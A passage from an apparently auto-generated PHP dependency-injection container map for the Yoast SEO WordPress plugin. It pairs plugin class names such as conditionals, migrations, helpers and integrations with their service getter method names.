            'Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional' => 'getMigrationsConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional' => 'getNewSettingsUiConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\News_Conditional' => 'getNewsConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional' => 'getNoToolSelectedConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional' => 'getNonMultisiteConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional' => 'getNotAdminAjaxConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional' => 'getOpenGraphConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional' => 'getPremiumActiveConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional' => 'getPremiumInactiveConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional' => 'getPrimaryCategoryConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional' => 'getRobotsTxtConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional' => 'getSEMrushEnabledConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional' => 'getSettingsConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional' => 'getShouldIndexLinksConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional' => 'getTextFormalityConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional' => 'getElementorActivatedConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional' => 'getElementorEditConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional' => 'getPolylangConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional' => 'getTranslatePressConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional' => 'getW3TotalCacheConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional' => 'getWPMLConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional' => 'getWPMLWPSEOConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional' => 'getWordproofIntegrationActiveConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional' => 'getWordproofPluginInactiveConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional' => 'getUpdatedImporterFrameworkConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional' => 'getUserCanEditUsersConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional' => 'getUserCanManageWpseoOptionsConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional' => 'getUserCanPublishPostsAndPagesConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional' => 'getUserEditConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional' => 'getUserProfileConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional' => 'getWPCRONEnabledConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional' => 'getWPRobotsConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional' => 'getWebStoriesConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional' => 'getWincherAutomaticallyTrackConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional' => 'getWincherConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional' => 'getWincherEnabledConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional' => 'getWincherTokenConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional' => 'getWooCommerceConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional' => 'getXMLRPCConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional' => 'getYoastAdminAndDashboardConditionalService',
            'Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional' => 'getYoastToolsPageConditionalService',
            'Yoast\\WP\\SEO\\Config\\Badge_Group_Names' => 'getBadgeGroupNamesService',
            'Yoast\\WP\\SEO\\Config\\Conflicting_Plugins' => 'getConflictingPluginsService',
            'Yoast\\WP\\SEO\\Config\\Indexing_Reasons' => 'getIndexingReasonsService',
            'Yoast\\WP\\SEO\\Config\\Migration_Status' => 'getMigrationStatusService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables' => 'getAddCollationToTablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables' => 'getAddColumnsToIndexablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime' => 'getAddEstimatedReadingTimeService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn' => 'getAddHasAncestorsColumnService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore' => 'getAddInclusiveLanguageScoreService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex' => 'getAddIndexableObjectIdAndTypeIndexService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables' => 'getAddIndexesForProminentWordsOnIndexablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps' => 'getAddObjectTimestampsService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables' => 'getAddVersionColumnToIndexablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset' => 'getBreadcrumbTitleAndHierarchyResetService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables' => 'getClearIndexableTablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex' => 'getCreateIndexableSubpagesIndexService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable' => 'getCreateSEOLinksTableService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables' => 'getDeleteDuplicateIndexablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths' => 'getExpandIndexableColumnLengthsService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths' => 'getExpandIndexableIDColumnLengthsService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths' => 'getExpandPrimaryTermIDColumnLengthsService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex' => 'getReplacePermalinkHashIndexService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable' => 'getResetIndexableHierarchyTableService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables' => 'getTruncateIndexableTablesService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists' => 'getWpYoastDropIndexableMetaTableIfExistsService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable' => 'getWpYoastIndexableService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy' => 'getWpYoastIndexableHierarchyService',
            'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm' => 'getWpYoastPrimaryTermService',
            'Yoast\\WP\\SEO\\Config\\Researcher_Languages' => 'getResearcherLanguagesService',
            'Yoast\\WP\\SEO\\Config\\SEMrush_Client' => 'getSEMrushClientService',
            'Yoast\\WP\\SEO\\Config\\Schema_IDs' => 'getSchemaIDsService',
            'Yoast\\WP\\SEO\\Config\\Schema_Types' => 'getSchemaTypesService',
            'Yoast\\WP\\SEO\\Config\\Wincher_Client' => 'getWincherClientService',
            'Yoast\\WP\\SEO\\Config\\Wordproof_App_Config' => 'getWordproofAppConfigService',
            'Yoast\\WP\\SEO\\Config\\Wordproof_Translations' => 'getWordproofTranslationsService',
            'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => 'getContentTypeVisibilityDismissNotificationsService',
            'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions' => 'getContentTypeVisibilityWatcherActionsService',
            'Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route' => 'getContentTypeVisibilityDismissNewRouteService',
            'Yoast\\WP\\SEO\\Context\\Meta_Tags_Context' => 'getMetaTagsContextService',
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => 'getCurrentScoresRepositoryService',
            'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => 'getTaxonomiesRepositoryService',
            'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => 'getContentTypesCollectorService',
            'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route' => 'getReadabilityScoresRouteService',
            'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route' => 'getSEOScoresRouteService',
            'Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository' => 'getEnabledAnalysisFeaturesRepositoryService',
            'Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository' => 'getIntegrationInformationRepositoryService',
            'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository' => 'getPostSeoInformationRepositoryService',
            'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository' => 'getTermSeoInformationRepositoryService',
            'Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository' => 'getWebsiteInformationRepositoryService',
            'Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration' => 'getGeneralPageIntegrationService',
            'Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator' => 'getBreadcrumbsGeneratorService',
            'Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator' => 'getOpenGraphImageGeneratorService',
            'Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator' => 'getOpenGraphLocaleGeneratorService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Article' => 'getArticleService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Author' => 'getAuthorService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb' => 'getBreadcrumbService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\FAQ' => 'getFAQService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\HowTo' => 'getHowToService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image' => 'getMainImageService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Organization' => 'getOrganizationService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Person' => 'getPersonService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\WebPage' => 'getWebPageService',
            'Yoast\\WP\\SEO\\Generators\\Schema\\Website' => 'getWebsiteService',
            'Yoast\\WP\\SEO\\Generators\\Schema_Generator' => 'getSchemaGeneratorService',
            'Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator' => 'getTwitterImageGeneratorService',
            'Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper' => 'getAioseoHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Asset_Helper' => 'getAssetHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper' => 'getAttachmentCleanupHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper' => 'getAuthorArchiveHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Blocks_Helper' => 'getBlocksHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Capability_Helper' => 'getCapabilityHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper' => 'getCrawlCleanupHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Curl_Helper' => 'getCurlHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper' => 'getCurrentPageHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Date_Helper' => 'getDateHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Environment_Helper' => 'getEnvironmentHelperService',
            'Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper' => 'getFirstTimeConfigurationNoticeHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper' => 'getHomeUrlHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Image_Helper' => 'getImageHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper' => 'getImportCursorHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Import_Helper' => 'getImportHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Indexable_Helper' => 'getIndexableHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper' => 'getIndexableToPostmetaHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Indexing_Helper' => 'getIndexingHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Language_Helper' => 'getLanguageHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Meta_Helper' => 'getMetaHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Notification_Helper' => 'getNotificationHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper' => 'getImageHelper2Service',
            'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper' => 'getValuesHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Options_Helper' => 'getOptionsHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Pagination_Helper' => 'getPaginationHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Permalink_Helper' => 'getPermalinkHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Post_Helper' => 'getPostHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper' => 'getPostTypeHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper' => 'getPrimaryTermHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Product_Helper' => 'getProductHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Redirect_Helper' => 'getRedirectHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Request_Helper' => 'getRequestHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Require_File_Helper' => 'getRequireFileHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Robots_Helper' => 'getRobotsHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper' => 'getRobotsTxtHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper' => 'getSanitizationHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper' => 'getArticleHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper' => 'getHTMLHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper' => 'getIDHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper' => 'getImageHelper3Service',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper' => 'getLanguageHelper2Service',
            'Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper' => 'getReplaceVarsHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper' => 'getScoreIconHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper' => 'getShortLinkHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Site_Helper' => 'getSiteHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper' => 'getSocialProfilesHelperService',
            'Yoast\\WP\\SEO\\Helpers\\String_Helper' => 'getStringHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper' => 'getTaxonomyHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper' => 'getImageHelper4Service',
            'Yoast\\WP\\SEO\\Helpers\\Url_Helper' => 'getUrlHelperService',
            'Yoast\\WP\\SEO\\Helpers\\User_Helper' => 'getUserHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Wincher_Helper' => 'getWincherHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper' => 'getWoocommerceHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper' => 'getWordpressHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper' => 'getWordproofHelperService',
            'Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper' => 'getWpdbHelperService',
            'Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks' => 'getCrawlCleanupPermalinksService',
            'Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps' => 'getDisableCoreSitemapsService',
            'Yoast\\WP\\SEO\\Initializers\\Migration_Runner' => 'getMigrationRunnerService',
            'Yoast\\WP\\SEO\\Initializers\\Plugin_Headers' => 'getPluginHeadersService',
            'Yoast\\WP\\SEO\\Initializers\\Woocommerce' => 'getWoocommerceService',
            'Yoast\\WP\\SEO\\Integrations\\Academy_Integration' => 'getAcademyIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration' => 'getActivationCleanupIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration' => 'getDialogIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration' => 'getInstallationIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration' => 'getAdminColumnsCacheIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration' => 'getBackgroundIndexingIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version' => 'getCheckRequiredVersionService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration' => 'getCrawlSettingsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration' => 'getCronIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration' => 'getDeactivatedPremiumIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration' => 'getDisableConcatenateScriptsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration' => 'getFirstTimeConfigurationIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration' => 'getFirstTimeConfigurationNoticeIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration' => 'getFixNewsDependenciesIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration' => 'getHealthCheckIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon' => 'getHelpScoutBeaconService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration' => 'getImportIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration' => 'getIndexablesExcludeTaxonomyIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration' => 'getIndexingNotificationIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration' => 'getIndexingToolIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration' => 'getInstallationSuccessIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page' => 'getIntegrationsPageService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration' => 'getLinkCountColumnsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration' => 'getMenuBadgeIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration' => 'getMigrationErrorIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration' => 'getOldConfigurationIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration' => 'getOldPremiumIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration' => 'getRedirectIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration' => 'getRedirectsPageIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice' => 'getUnsupportedPHPVersionNoticeService',
            'Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration' => 'getWorkoutsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification' => 'getBlackFridayProductEditorChecklistNotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification' => 'getBlackFridayPromotionNotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification' => 'getBlackFridaySidebarChecklistNotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification' => 'getTrustpilotReviewNotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification' => 'getWebinarPromoNotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration' => 'getBlockEditorIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block' => 'getBreadcrumbsBlockService',
            'Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category' => 'getInternalLinkingCategoryService',
            'Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks' => 'getStructuredDataBlocksService',
            'Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration' => 'getBreadcrumbsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration' => 'getCleanupIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration' => 'getDuplicatePostIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time' => 'getEstimatedReadingTimeService',
            'Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type' => 'getExcludeAttachmentPostTypeService',
            'Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type' => 'getExcludeOembedCachePostTypeService',
            'Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration' => 'getFeatureFlagIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility' => 'getBackwardsCompatibilityService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description' => 'getCategoryTermDescriptionService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer' => 'getCommentLinkFixerService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic' => 'getCrawlCleanupBasicService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss' => 'getCrawlCleanupRssService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches' => 'getCrawlCleanupSearchesService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements' => 'getFeedImprovementsService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title' => 'getForceRewriteTitleService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404' => 'getHandle404Service',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls' => 'getIndexingControlsService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed' => 'getOpenGraphOEmbedService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed' => 'getRSSFooterEmbedService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects' => 'getRedirectsService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration' => 'getRobotsTxtIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature' => 'getSchemaAccessibilityFeatureService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration' => 'getWPRobotsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Front_End_Integration' => 'getFrontEndIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Primary_Category' => 'getPrimaryCategoryService',
            'Yoast\\WP\\SEO\\Integrations\\Settings_Integration' => 'getSettingsIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Support_Integration' => 'getSupportIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP' => 'getAMPService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress' => 'getBbPressService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor' => 'getElementorService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types' => 'getExcludeElementorPostTypesService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types' => 'getExcludeWooCommercePostTypesService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack' => 'getJetpackService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache' => 'getW3TotalCacheService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML' => 'getWPMLService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification' => 'getWPMLWPSEONotificationService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories' => 'getWebStoriesService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit' => 'getWebStoriesPostEditService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher' => 'getWincherService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish' => 'getWincherPublishService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce' => 'getWooCommerce2Service',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit' => 'getWooCommercePostEditService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks' => 'getWoocommercePermalinksService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof' => 'getWordproofService',
            'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle' => 'getWordproofIntegrationToggleService',
            'Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration' => 'getUninstallIntegrationService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher' => 'getAddonUpdateWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher' => 'getAutoUpdateWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher' => 'getIndexableAncestorWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher' => 'getIndexableAttachmentWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher' => 'getIndexableAuthorArchiveWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher' => 'getIndexableAuthorWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher' => 'getIndexableCategoryPermalinkWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher' => 'getIndexableDateArchiveWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher' => 'getIndexableHomeUrlWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher' => 'getIndexableHomePageWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher' => 'getIndexablePermalinkWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher' => 'getIndexablePostMetaWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher' => 'getIndexablePostTypeArchiveWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher' => 'getIndexablePostTypeChangeWatcherService',
            'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher' => 'getIndexablePostWatcherService',
